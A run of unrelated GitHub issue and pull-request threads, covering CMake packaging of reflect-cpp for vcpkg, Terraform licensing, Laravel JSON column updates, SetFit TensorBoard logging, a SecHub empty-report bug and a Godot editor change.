(And it may create a different imported target than the unknown "tomlplusplus" package.)

Additional notes for upstream:

find_dependency calls should be done before including the target file. That's how find_package search mode might continue search when desired by the user.
Ideally, there should be hardly any no vcpkg-specific code. vpckg is meant to be enabled by using the toolchain. That's all.

@dg0yt , the problem with tomlplusplus is that the vcpkg does not provide a config.cmake file, so find_packages does not work. For that reason I have no choice but to use vcpkg-specific code. If you have a better idea, I am very open to suggestions. I would love not to have to do this.
I have extensive automated tests for the CMake file on different operating systems, including Windows, and I am very confident that it works. I would refer you to the testing pipelines in my own repository:
https://github.com/getml/reflect-cpp/tree/main/.github/workflows

the problem with tomlplusplus is that the vcpkg port does not provide a config.cmake file, so find_packages does not work

It provides .pc though.

The testing probably doesn't cover consuming the CMake config files on Windows, with toml enabled?
At the moment the package avoids pkg-config at build time, but requires pkg-config to be able to use the exported CMake config. This simply doesn't make sense.

You can use pkg-config in CMake in Windows. It is easy for authoring vcpkg ports. But outside ports, it is unusual to have it available in MSVC contexts.
When you don't use pkg-config for configuring the package, you don't need it in the exported config.
Even when you use pkg-config, you don't need it in the exported config if you just the interace variables (<PKG>_LINK_LIBRARIES etc.) instead of imported targets.

@dg0yt, I could modify the CMakeLists.txt as follows:
if (REFLECTCPP_TOML)
    list(APPEND REFLECT_CPP_SOURCES
        src/reflectcpp_toml.cpp
    )
    if(REFLECTCPP_USE_VCPKG)
        find_package(PkgConfig REQUIRED)
        pkg_check_modules(tomlplusplus REQUIRED IMPORTED_TARGET tomlplusplus)
        target_link_libraries(reflectcpp PkgConfig::tomlplusplus)
    else()
        find_package(tomlplusplus)
        target_link_libraries(reflectcpp PUBLIC tomlplusplus::tomlplusplus)
    endif()
endif()

This is taken from the "usage" file of the tomlplusplus port.
It seems to work fine. Is that what you have mind? If so, I would simply do a patch release.
Once we're at it, do you have any suggestions for the TinyCBOR port? The TinyCBOR port provides neither a config.cmake nor a .pc file.

@LilyWangLL , @dg0yt , @BillyONeal , here's my suggestion: Let's not let the perfect be the enemy of the good.
I think the best way forward is to remove the CBOR and TOML features for now. All other features (BSON, flexbuffers, msgpack, XML, YAML)  seem completely uncontroversial and I know that people are relying on them. It would be nice to have them available in vcpkg as well.
I would kindly ask for guidance on two things:

Is the solution I have outlined for tomlplusplus in my last comment what @dg0yt or @BillyONeal have in mind?
What should we do about the TinyCBOR that provides neither a config.cmake nor a .pc file? Should I maybe switch over to libcbor, which at least offers a portfile or just use JSONcons?

Once we have these issues clarified, I will make the necessary upstream changes and then include support for these two formats in my next regular release.

This is taken from the "usage" file of the tomlplusplus port.
It seems to work fine. Is that what you have mind? If so, I would simply do a patch release.

I'm not familiar with that specific port but that code block seems reasonable to me. The thing that matters is that someone who tries to do their own find_package for reflectcpp gets something that works when the toml feature is turned on.

Thanks!

@BillyONeal , thanks for your reply and thanks for merging!
I will make these changes upstream and also think about a solution for CBOR.


bump catalogd to v0.2.0

Description
Closes #239
Reviewer Checklist

[ ] API Go Documentation
[x] Tests: Unit Tests (and E2E Tests, if appropriate)
[x] Comprehensive Commit Messages
[x] Links to related GitHub Issue(s)

/lgtm


regulation of mammary gland cord elongation by mammary fat p

need a template for terms like this:
[Term]
id: GO:0060657
name: regulation of mammary gland cord elongation by mammary fat precursor cell-epithelial cell signaling
namespace: biological_process
def: "Any process that modulates the rate, frequency, or extent of mammary gland cord elongation as a result of a signal being created by a mesenchymal cell that is a precursor to the mammary fat and its subsequent reception and interpretation by an mammary cord epithelial cell."


Resolve Attestation Factory Method vs Factory Class dispute.

@vhvb1989 points out that factory methods have some functional drawbacks, there is an outstanding discussion with the API review team about the best solution.
THis bug tracks fixing this, and it MUST be fixed before the Attestation SDK GA's.

The not-so-good about factory methods is that they are accessible from class instances as well.
So, you attestation client will also list the client.Create() method just like the class AttestationClient::Create().
What I usually prefer is to create the factory as an additional class with no constructor (real factory). Something like AttestationClientFactory.

Originally posted by @vhvb1989 in https://github.com/Azure/azure-sdk-for-cpp/pull/3543#discussion_r854777324

Because the intellisense experience for factory classes is better than the experience for factory methods, settled on a factory class.
Also created https://github.com/Azure/azure-sdk/issues/4349 to add guideline documentation on this pattern.


Terrform Licensing

HashiCorp published FAQ around the BSL licensing change for their products including Terraform.

Q: What is a “competitive offering” under the HashiCorp BSL license?
... By contrast, products that are not sold or supported on a paid basis are always allowed under the HashiCorp BSL license because they are not considered competitive.
Q: What does the term “embedded” mean under the HashiCorp BSL license?
A: Under the HashiCorp BSL license, the term “embedded” means including the source code or object code, including executable binaries, from a HashiCorp product in a competitive product. “Embedded” also means packaging the competitive product in such a way that the HashiCorp product must be accessed or downloaded for the competitive product to operate.

Judging by this excerpt I'd say:

This Github Actions is embedding the Terraform binary
It's not a competitive offering, since it's not sold or commercially supported

However, I'm not a lawyer - so it'd be good to get this checked somehow.
Until further clarification, we definitely should stay at the 1.5 version of Terraform.

I agree that we are not offering any competitive offering -  since it’s not sold or commercially supported
I don't think we should have this restriction (for now)
@ShaiBer, any objection?

no objections. Closing for now


Updating JSON Columns is not working as expected

Laravel Version: 5.3.9
PHP Version: 7.0.8
Database Driver & Version: Mysql 5.7.15

Description:
I can successfully update the table row with this:
DB::table('users')
            ->where('id', 1)
            ->update(['options->enabled' => true]);

But this code doesn't work:
User::find(1)
            ->update(['options->enabled' => true]);

I have to add all json properties to my Model's fillable array to be able to update:
protected $fillable = [
        'name', 'email', 'options', 'options->enabled', 'options->language',
    ];

I expected that including only options be enough.
Additionally if the default value of the JSON column be null, updating gets fails and I have to set it to {} to make it work. So I can't use
protected $casts = [
        'options' => 'array',
    ];

because it sets JSON column value to null or "{}" instead of {} and updating gets fail,
Sorry for my English.
Steps To Reproduce:

Use Eloquent update.
Try to update a json field that has null value.
Not Including all json->property in Model's fillable array.

There are two issues here, first it's expected that you need to add all fillable fields including the JSON ones, that way you can decide what JSON attributes you want to guard and what may be left fillable.
Second, from MySQL docs for JSON_SET:

Returns NULL if any argument is NULL or path, if given, does not locate an object.

So yeah if the value of the column is NULL no updates will happen.
Regarding casting as array I'm not sure what scenario may lead to this saving "{}"?

When storing a user record, I set json column value to {} because it can't be left null, but If I use casting as array, it casts by json_encode('{}') that saves "{}" in the table instead of {} and updates get fails.
About another issue, I think there should be a way to add all json properties to fillable array once, for example by adding options->* or just options would be enough. What if I had a hundreads of user options I wanted to store? I have to mention all of them in fillable array?!

@hafezdivandari why not make a default value for the DB column, Instead of doing it via eloquent?
Regarding options->*, a JSON structure can be very complicated, trying to match fillable like this can be an overhead I'm not sure if it's worth it. IMO if we're to make any change it'd be making all options children as fillable if there's a options in the fillables array.

@themsaid As I know and tested before, Mysql doesn't accept default value for json fields unfortunetley!
I think making all options children as fillable if there's a options in the fillables array is acceptable and neccessery.

You can do this then:
Table::create([
    'user_id' => 1,
    'json' => new stdClass()
]);

This will give the JSON column a default value of an empty object for a newly created model, you can easily update its parameters later.
For the fillable thing, let me see if I can come up with a clean PR for that.

Thanks, It would be great.

Getting this feedback from Taylor here https://github.com/laravel/framework/pull/15464
The overhead introduced while allowing this sort of thing is unnecessary, so it's better that you explicitly add the JSON Paths you want to make fillable in the $fillable array to avoid that overhead.
I also suggest that you reverse your way of thinking and define $guarded instead of $fillable, so that you may protect only some fields but leave all the rest fillable.

The workaround I'm going to use (reluctantly) is to add this to the Model with the JSON field:
protected $attributes = array(
        'settings' => '{}'
    );


How can you log with tensorboard using the setfit trainer ?

How can you log with tensorboard using the setfit trainer ?

Hello!
I'm afraid this isn't possible currently due to limitations in SentenceTransformer. I'll try to get around this.

Tom Aarsen

I think people are mostly interested in monitoring training of the head model. Or what @tomad02 ? Typically you would train the head multiple epochs and there's a pretty big risk of overfitting when you have 768 features to train on. So you would want to see the loss and metric for the training and eval dataset for those epochs. Of course you could also inspect the weight distribution and so on but I don't know how much information that would give people.

#439 will introduce support for Tensorboard (+ Weights and Biases and others) when finetuning the body. It should be released this week, stay tuned!


Report empty after scanning in integration test mode

Problem
Starting SecHub in the integration test mode and scanning a project leads to an empty report. As described in the Quickstart Guide, the integration test mode should result in a report with findings.
 Client Version 0.34.0-20230223085912

WARNING: Configured to trust all - means unknown service certificate is accepted. Don't use this in production!
2023-03-14 17:57:20 (+01:00) Zipping folder: Code (/home/user/myapp)
2023-03-14 17:57:20 (+01:00) Creating new SecHub job: 1d868407-6851-47c1-ac3f-e31551f40111
2023-03-14 17:57:20 (+01:00) Uploading source zip file
2023-03-14 17:57:20 (+01:00) Approve sechub job
2023-03-14 17:57:20 (+01:00) Waiting for job 1d868407-6851-47c1-ac3f-e31551f40111 to be done
                             .
2023-03-14 17:57:22 (+01:00) Fetching result (format=json) for job 1d868407-6851-47c1-ac3f-e31551f40111
2023-03-14 17:57:22 (+01:00) SecHub report written to sechub_report_testproject_1d868407-6851-47c1-ac3f-e31551f40111.json
Message from SecHub server:
  -> WARNING: No results from a security product available for this job!
2023-03-14 17:57:22 (+01:00) ERROR: No traffic light available! Please check messages and server logs.

$ cat sechub_report_testproject_1d868407-6851-47c1-ac3f-e31551f40111.json
{
   "result": {
      "count": 0,
      "findings": []
   },
   "messages": [
      {
         "type": "WARNING",
         "text": "No results from a security product available for this job!"
      }
   ],
   "status": "SUCCESS",
   "reportVersion": "1.0",
   "jobUUID": "1d868407-6851-47c1-ac3f-e31551f40111",
   "trafficLight": "OFF"
}

I think #2125 is not related with this one - the integration test uses mocks and the resolution which mock is used for output is done by dedicated pathes in code scan configuration... The integration test framework does this automatically.
When integration test profile is being used outside integration tests, the developer must define an own profile and turn off mock usage by executor configuration parameters.

We will not fix the issue, instead have a look at: #1646 and #2135.


Hide the 3D editor selection box when View Gizmos is disabled

master version of #48621.
The 3D selection box can get in the way when you want to preview 3D materials, so it's useful to be able to disable it temporarily.
Note that I didn't hide the manipulation gizmo because I still want the user to be able to move things around while View Gizmos is disabled. (Also, usability-wise, it would be pretty bad if it was hidden entirely, since many people would not know why it is hidden in the first place.)
This closes https://github.com/godotengine/godot-proposals/issues/2044.

Was just talking about this today with @Calinou , it will be useful to be able to turn the selection boxes off, as they can be quite distracting in some situations (especially when taking screenshots).

Thanks!